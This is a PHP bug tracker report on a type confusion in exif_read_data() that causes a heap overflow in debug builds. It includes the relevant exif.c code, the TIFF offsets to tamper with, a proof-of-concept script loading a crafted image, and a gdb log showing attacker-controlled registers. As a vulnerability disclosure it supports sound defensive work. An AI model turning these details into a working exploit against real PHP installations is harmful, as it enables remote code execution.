|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2016-02-05 11:16 UTC] hlt99 at blinkenshell dot org
[2016-02-08 17:44 UTC] hlt99 at blinkenshell dot org
[2016-02-15 08:23 UTC] stas@php.net
-Type: Security
+Type: Bug
[2016-02-15 08:23 UTC] stas@php.net
[2016-02-15 08:24 UTC] stas@php.net
-Summary: Type confusion in exif_read_data() leading to heap
overflow
+Summary: Type confusion in exif_read_data() leading to heap
overflow in debug mode
[2016-02-17 17:35 UTC] hlt99 at blinkenshell dot org
[2016-08-05 06:15 UTC] kalle@php.net
-Status: Open
+Status: Feedback
[2016-08-05 06:15 UTC] kalle@php.net
[2016-08-05 07:23 UTC] hlt99 at blinkenshell dot org
-Status: Feedback
+Status: Open
[2016-08-05 07:23 UTC] hlt99 at blinkenshell dot org
[2016-08-05 08:17 UTC] kalle@php.net
-Status: Open
+Status: Assigned
-Assigned To:
+Assigned To: kalle
[2016-08-05 08:17 UTC] kalle@php.net
[2016-08-05 08:17 UTC] kalle@php.net
-Status: Assigned
+Status: Feedback
[2016-08-06 07:40 UTC] hlt99 at blinkenshell dot org
-Status: Feedback
+Status: Assigned
[2016-08-06 07:40 UTC] hlt99 at blinkenshell dot org
[2016-08-07 03:41 UTC] kalle@php.net
[2016-08-07 03:41 UTC] kalle@php.net
-Status: Assigned
+Status: Closed
[2016-08-07 03:42 UTC] kalle@php.net
[2016-08-07 12:51 UTC] hlt99 at blinkenshell dot org
[2016-10-10 11:17 UTC] krakjoe@php.net
[2017-01-12 09:12 UTC] krakjoe@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Tue Oct 28 00:00:02 2025 UTC |
Description: ------------ # Build instructions ../configure --enable-debug --enable-exif && make # Description When exif_read_data() is used to extract an embedded thumbnail from an invalid TIFF image a signed integer may be used to set the ImageInfo->Thumbnail.size field. The bug can be triggered by manipulating an IFD entry describing the embedded thumbnails size. When using a format tag (offset 0x24 in poc.tiff) specifying a signed integer type for the (size) value (offset 0x2a in poc.tiff) ImageInfo->Thumbnail.size can be set to very large values. (PHP-7.0.2) exif.c: 1275 static size_t exif_convert_any_to_int(void *value, int format, ...) { [...] 1280 switch(format) { 1281 case TAG_FMT_SBYTE: return *(signed char *)value; 2787 static int exif_process_IFD_TAG(/*...*/) [...] 2934 ImageInfo->Thumbnail.size = exif_convert_any_to_int(value_ptr, format, ImageInfo->motorola_intel); Later heap memory is allocated using ImageInfo->Thumbnail.size as an argument of unsigned type to safe_emalloc(): (PHP-7.0.2) exif.c: 3509 static int exif_process_IFD_in_TIFF(...) { [...] 3677 ImageInfo->Thumbnail.data = safe_emalloc(ImageInfo->Thumbnail.size, 1, 0); 3678 php_stream_seek(ImageInfo->infile, ImageInfo->Thumbnail.offset, SEEK_SET); 3679 fgot = php_stream_read(ImageInfo->infile, ImageInfo->Thumbnail.data, ImageInfo->Thumbnail.size); With ZEND_DEBUG disabled PHP simply exits with a fatal out of memory error. However if debugging is enabled the call to safe_emalloc() succeeds and returns a valid pointer pointing to Zend-internal heap memory of a small size. [1] Thus heap memory (including heap management data) gets overwritten with contents from the corrupted TIFF image. This allows for remote code execution (as demonstrated in the gdb log you find below). [1] For more info on the zend_mm_alloc_heap() bug refer to #<YET-TO-REPORT>! # PHP versions known to be affected 7.0.2 (git) 7.0.3 (git) Versions prior to 7.0.2 have not been tested. # PHP versions known to be not affected 5.6.18 (git) Versions prior to 5.6.18 have not been tested. Test script: --------------- /* exif_read_data.php poc.tiff: http://hlt99.blinkenshell.org/php/poc.tiff */ <?php $data = exif_read_data("poc.tiff", NULL, true, true); ?> Actual result: -------------- The following gdb log only shows good control of registers when the bug is causing a segfault in strlen(). There likely are other ways to exploit this. $ gdb sapi/cli/php [...] gdb$ r exif_read_data.php [...] Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x4142434445464748 ('HGFEDCBA') <-- !! completely attacker controlled !! RBX: 0x7fffffffbc3f --> 0x0 RCX: 0x748 RDX: 0x1645c20 --> 0xdf00000000 RSI: 0x7fffffffb9f0 --> 0x3000000020 (' ') RDI: 0x4142434445464748 ('HGFEDCBA') <-- !! completely attacker controlled !! RBP: 0x0 RSP: 0x7fffffffafd8 --> 0xc49c23 (<strx_printv+5043>: mov QWORD PTR [rsp+0x100],rax) RIP: 0x7ffff35180ca (<strlen+42>: movdqu xmm12,XMMWORD PTR [rax]) R8 : 0x7fffffffb920 --> 0x0 R9 : 0x7fffffffbc3f --> 0x0 R10: 0x0 R11: 0x12ec79b ("s(%d) : Freeing 0x%.8lX (%zu bytes), script=%s\n") R12: 0x1655c20 --> 0x42cc R13: 0x1627348 --> 0x1645c20 --> 0xdf00000000 R14: 0x7fffffffba40 ("[Thu Feb 4 18:28:13 2016] Script: '/home/rc0r/doc/advisories/php7/exif/exif_read_data.php'\n") R15: 0x4142434445464748 ('HGFEDCBA') <-- !! completely attacker controlled !! EFLAGS: 0x10293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] => 0x7ffff35180ca <strlen+42>: movdqu xmm12,XMMWORD PTR [rax] [------------------------------------------------------------------------------] gdb$ bt #0 0x00007ffff35180ca in strlen () from /usr/lib/libc.so.6 #1 0x0000000000c49c23 in format_converter (fmt=<optimized out>, odp=<optimized out>, ap=<optimized out>) at /home/rc0r/tmp/php-src/main/snprintf.c:993 #2 strx_printv (ccp=0x7fffffffb9ec, buf=<optimized out>, len=0x200, format=<optimized out>, ap=0x7fffffffb9f0) at /home/rc0r/tmp/php-src/main/snprintf.c:1248 #3 0x0000000000c47a08 in ap_php_snprintf (buf=0x7fffffffb9f0 " ", len=0x1645c20, format=0x748 <error: Cannot access memory at address 0x748>) at /home/rc0r/tmp/php-src/main/snprintf.c:1293 #4 0x0000000000c44f6b in php_message_handler_for_zend (message=<optimized out>, data=0x7fffffffcd88) at /home/rc0r/tmp/php-src/main/main.c:1431 #5 0x0000000000d33b66 in zend_message_dispatcher (message=0x4142434445464748, data=0x7fffffffb9f0) at /home/rc0r/tmp/php-src/Zend/zend.c:998 #6 0x0000000000cce01c in zend_mm_check_leaks (heap=<optimized out>) at /home/rc0r/tmp/php-src/Zend/zend_alloc.c:2121 #7 zend_mm_shutdown (heap=<optimized out>, full=<optimized out>, silent=<optimized out>) at /home/rc0r/tmp/php-src/Zend/zend_alloc.c:2193 #8 0x0000000000cd33d1 in shutdown_memory_manager (silent=0x1645c20, full_shutdown=0xffffb9f0) at /home/rc0r/tmp/php-src/Zend/zend_alloc.c:2629 #9 0x0000000000c42584 in php_request_shutdown (dummy=<optimized out>) at /home/rc0r/tmp/php-src/main/main.c:1833 #10 0x0000000000e99fa5 in do_cli (argc=<optimized out>, argv=<optimized out>) at /home/rc0r/tmp/php-src/sapi/cli/php_cli.c:1142 #11 0x0000000000e97b82 in main (argc=0x2, argv=0x1668a10) at /home/rc0r/tmp/php-src/sapi/cli/php_cli.c:1350 #12 0x00007ffff34b7610 in __libc_start_main () from /usr/lib/libc.so.6 #13 0x00000000004697a9 in _start ()